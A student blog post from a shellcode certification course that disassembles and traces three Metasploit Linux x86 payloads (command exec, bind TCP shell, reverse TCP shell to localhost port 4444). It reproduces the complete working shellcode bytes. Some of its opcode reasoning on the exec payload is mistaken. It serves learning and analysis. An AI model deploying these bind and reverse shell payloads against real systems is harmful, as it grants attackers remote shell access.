SLAE Assignment 5: Analyzing msfpayload shellcode

05 May 2013

The fifth assignment for completing the SecurityTube Linux Assembly Expert is analyzing three different msfpayloads using libemu, gdb and ndisasm. I decided two go with an execve, tcp shell and reverse tcp shell payload. The goal is to understand how these payloads are constructed, how they work and what they do. The benefit of analyzing shellcode yourself is that you learn new techniques by looking at different shellcodes. Below you can find my three analysis.

Information

Github Repository: https://github.com/cloud101/SLAE32/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-251

linux/x86/exec

The first payload I will analyze is the exec payload which executes a command remotely. The payload can be found below:

/*
 * linux/x86/exec - 41 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependSetresuid=false,
 * PrependSetreuid=false, PrependSetuid=false,
 * PrependSetresgid=false, PrependSetregid=false,
 * PrependSetgid=false, PrependChrootBreak=false,
 * AppendExit=false, CMD=ls -l
 */
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x06\x00\x00\x00\x6c"
"\x73\x20\x2d\x6c\x00\x57\x53\x89\xe1\xcd\x80";

I also took the payload and ran it through libemu: exec I also compiled the code with the -S flag for gcc which outputs this into an assembly file. You can find it here:

    .file   "shellcode.c"
    .globl  buf
    .data
    .align 32
    .type   buf, @object
    .size   buf, 42
buf:
    .string "j\013X\231Rfh-c\211\347h/sh"
    .string "h/bin\211\343R\350\006"
    .string ""
    .string ""
    .string "ls -l"
    .string "WS\211\341\315\200"
    .section    .rodata
.LC0:
    .string "Shellcode Length:  %d\n"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    pushl   %ebp
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    movl    %esp, %ebp
    .cfi_def_cfa_register 5
    pushl   %edi
    andl    $-16, %esp
    subl    $48, %esp
    movl    $buf, %eax
    movl    $-1, 28(%esp)
    movl    %eax, %edx
    movl    $0, %eax
    movl    28(%esp), %ecx
    movl    %edx, %edi
    .cfi_offset 7, -12
    repnz scasb
    movl    %ecx, %eax
    notl    %eax
    leal    -1(%eax), %edx
    movl    $.LC0, %eax
    movl    %edx, 4(%esp)
    movl    %eax, (%esp)
    call    printf
    movl    $buf, 44(%esp)
    movl    44(%esp), %eax
    call    *%eax
    movl    -4(%ebp), %edi
    leave
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    .cfi_restore 7
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3"
    .section    .note.GNU-stack,"",@progbits

I then ran it through gdb with the following hook-stop:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble
>info registers edx
>info registers eax
>info registers ebx
>info registers ecx
>info registers esi
>info registers edi
>info registers esp

The following disassembled code can be seen:

Dump of assembler code for function buf:
=> 0x0804a040 <+0>: push   0xb
   0x0804a042 <+2>: pop    eax
   0x0804a043 <+3>: cdq
   0x0804a044 <+4>: push   edx
   0x0804a045 <+5>: pushw  0x632d
   0x0804a049 <+9>: mov    edi,esp
   0x0804a04b <+11>:    push   0x68732f
   0x0804a050 <+16>:    push   0x6e69622f
   0x0804a055 <+21>:    mov    ebx,esp
   0x0804a057 <+23>:    push   edx
   0x0804a058 <+24>:    call   0x804a063 <buf+35>
   0x0804a05d <+29>:    ins    BYTE PTR es:[edi],dx
   0x0804a05e <+30>:    jae    0x804a080
   0x0804a060 <+32>:    sub    eax,0x5357006c
   0x0804a065 <+37>:    mov    ecx,esp
   0x0804a067 <+39>:    int    0x80
   0x0804a069 <+41>:    add    BYTE PTR [eax],al

Let's step through it.

push byte 0xb
pop eax

This is a system call, I looked up 0xb (11) in unistd_32.h and noted that this is the execve system call: Screen Shot 2013-04-05 at 6.25.30 PM I continued scrolling through the code but and noted that there was a cwd instruction, which seems unused.

cwd ;normally doubles the size of an operand and moves it into edx, but does not seem to be used as edx stays 0x0
    ; (if anyone knows why it stays 0, please enlighten me)
push edx ; push edx onto the stack
push word 0x632d  ; 0x632d is pushed onto the stack
mov edi,esp ;stack pointer is moved into edi

I then inspect what's on the top of the stack:

(gdb) x/2cb $esp
0xbffff656: 45 '-'  99 'c'

We see '-c'

push dword 0x68732f

Let's inspect again what's on the top of the stack

(gdb) x/3cb $esp
0xbffff652: 47 '/'  115 's' 104 'h'

we now see '/sh'

push dword 0x6e69622f
(gdb) x/4cb $esp
0xbffff64e: 47 '/'  98 'b'  105 'i' 110 'n'

So now we have '/bin/sh -c' on top of the stack. An excerpt from the bash manpage:

OPTIONS
       In addition to the single-character shell options documented in the description of the set builtin command, bash interprets the following options when it is invoked:
       -c string If the -c option is present, then commands are read from string.  If there are arguments after the string, they are assigned to the positional parameters, starting with $0.
Commands to be executed are passed as a string to /bin/sh. The rest after this gave me errors while analyzing, so I just put a break before the system call.

mov ebx,esp
push edx
call 0x1
push edi
push ebx
mov ecx,esp
int 0x80

I ran into the the last part of the shellcode and my 'ls -l' option was nowhere to be found. I looked at the shellcode directly. I noted a lot of \x00 bytes and these could probably break the code. I looked up the ASCII codes for '-l' this was \x2d\x6c. It's present in the shellcode, but only after the last bytes. So I just took the shellcode and analysed it by hand with an opcode and ASCII table. Look at this small excerpt

\x06\x00\x00\x00\x6c"
"\x73\x20\x2d\x6c

This is executed right after the \x00 instructions which I believe are breaking my code. I'll first look at the last instruction before the \x00 bytes, which is \x06. When looking up this instruction in the opcode table I note that the instruction is "PUSH". So what comes after is either an address or a string. I first looked up \x6c, which is 'l', I then looked up \x73 which is 's', \x20 is a space and \x2d\6c is '-l'. So this is what's pushed onto the stack. Continuing, we see another \x00 after which follows \x53 which is another push instruction. After this there a bunch of instructions and \x80 which is a system call. This is my analysis for linux/x86/exec. There will probably be a better way to solve my problem where gdb doesn't seem to allow me to continue my program past the push of /bin/sh -c. If anyone has a better way please post a solution in the comments or send me an email!

linux/x86/shell/bind_tcp

I decided to take bind_tcp which will assist me in writing my own bind shell and reverse bind shell. The shellcode generated consists of two stages. Generated Shellcode:

/*
 * linux/x86/shell_bind_tcp - 78 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
 * PrependSetreuid=false, PrependSetuid=false,
 * PrependSetresgid=false, PrependSetregid=false,
 * PrependSetgid=false, PrependChrootBreak=false,
 * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

And the flow with libemu: bind_shell

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fc2 =>
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 16;
) =  0;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 =>
         none;
     int addrlen = 0x00000010 =>
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb2 =>
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416faa =>
               = 0x00416fb2 =>
                   = "/bin//sh";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Let's break it down, from the flowchart it seems like the code first makes a socket, binds to a port and listens on that port and from there it accepts connection. It also uses dup2, which is a function used to copy a file descriptor into another. Looking up what dup2 does I found the following description on programming4.us:

Standard input, standard output, and standard error are the three standard file descriptors used by programs to perform standard I/O. Sockets, too, are just file descriptors that can be read from and written to. By simply swapping the standard input, output, and error of the spawned shell with the connected socket file descriptor, the shell will write output and errors to the socket and read its input from the bytes that the socket received. There is a system call specifically for duplicating file descriptors, called dup2. This is system call number 63.
After this execve is executed which will probably contain /bin/sh. Tracing through it with gdb:

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx

Resetting the registers. Before:

End of assembler dump.
eax            0x804a040    134520896
ebx            0x0  0
edx            0xbffff6a4   -1073744220
esp            0xbffff65c
edi            0x0  0
After:
End of assembler dump.
eax            0x0  0
ebx            0x0  0
edx            0x0  0
esp            0xbffff65c   0xbffff65c
edi            0x0  0

00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp

Push 0, 1 and 2 onto the stack (this is for setting up the socket) and move the stack pointer into ecx (points to the argument list).

0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80

Perform syscall 102

[email protected]:/home/lucas/Desktop/analysis/bind_shell# cat /usr/include/i386-linux-gnu/asm/unistd_32.h  |grep 102
#define __NR_socketcall     102

Which is setting up a socket. A bit more info on the call (/usr/include/linux/net.h):

#define SYS_SOCKET  1   /* sys_socket(2)    */
#define SYS_BIND  2   /* sys_bind(2)      */
#define SYS_CONNECT 3   /* sys_connect(2)   */
#define SYS_LISTEN  4   /* sys_listen(2)    */
#define SYS_ACCEPT  5   /* sys_accept(2)    */
#define SYS_GETSOCKNAME 6   /* sys_getsockname(2)   */
#define SYS_GETPEERNAME 7   /* sys_getpeername(2)   */
#define SYS_SOCKETPAIR  8   /* sys_socketpair(2)    */
#define SYS_SEND  9   /* sys_send(2)      */
#define SYS_RECV  10    /* sys_recv(2)      */
#define SYS_SENDTO  11    /* sys_sendto(2)    */
#define SYS_RECVFROM  12    /* sys_recvfrom(2)    */
#define SYS_SHUTDOWN  13    /* sys_shutdown(2)    */
#define SYS_SETSOCKOPT  14    /* sys_setsockopt(2)    */
#define SYS_GETSOCKOPT  15    /* sys_getsockopt(2)    */
#define SYS_SENDMSG 16    /* sys_sendmsg(2)   */
#define SYS_RECVMSG 17    /* sys_recvmsg(2)   */
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx

pop 2 into ebx and 1 into esi. Then push edx, which is 0, on top of the stack.

00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80

The value 0x5c110002 contains our port (5c11=4444) onto the stack along with 0x10 (16) length of the arguments, then also push ecx (0xbffff650) (pointer to our socket) and eax (0x7) on to the stack. Finally move the top of the stackpointer into ecx and do another socket system call (bind).

00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80

Start listening for incoming connections.

0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80

Accept connections.

00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32

Here we will use the dup2 so the input from our socket will be passed onto our shell by replacing the file descriptors.

0000003A  682F2F7368        push dword 0x68732f2f ;   push "//sh" to the stack.
0000003F  682F62696E        push dword 0x6e69622f ; push "/bin" to the stack.
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

Finally this is our shellcode which will get executed.

linux/x86/shellreversetcp

The final shellcode I will analyze is the shellreversetcp as it will also aid me in writing the reverse tcp shellcode. I will trace through it slightly faster because it's very similar to the previous shellcode. Generated shellcode with msfpayload:

/*
 * linux/x86/shell_reverse_tcp - 68 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=127.0.0.1, LPORT=4444,
 * ReverseConnectRetries=5, ReverseAllowProxy=false,
 * PrependSetresuid=false, PrependSetreuid=false,
 * PrependSetuid=false, PrependSetresgid=false,
 * PrependSetregid=false, PrependSetgid=false,
 * PrependChrootBreak=false, AppendExit=false,
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

Libemu c code:

int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe =>
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 16777343 (host=127.0.0.1);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 =>
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416f9e =>
               = 0x00416fa6 =>
                   = "/bin//sh";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Libemu flowchart: reverseshell Ndisasm:

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80
00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  687F000001        push dword 0x100007f
0000001D  680200115C        push dword 0x5c110002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80
0000002F  52                push edx
00000030  682F2F7368        push dword 0x68732f2f
00000035  682F62696E        push dword 0x6e69622f
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80
00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80

Set up the socket.

0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80

Change the file descriptors.

00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  687F000001        push dword 0x100007f
0000001D  680200115C        push dword 0x5c110002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80

Then connect to the remote host on ip address 0x100007f (long -> 2130706433, dotted -> 127.0.0.1). Use port 0x5c11, which is 4444 in decimal.

0000002F  52                push edx
00000030  682F2F7368        push dword 0x68732f2f ;   push "//sh" to the stack.
00000035  682F62696E        push dword 0x6e69622f ; push "/bin" to the stack.
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80

Spawn the shell. Profit.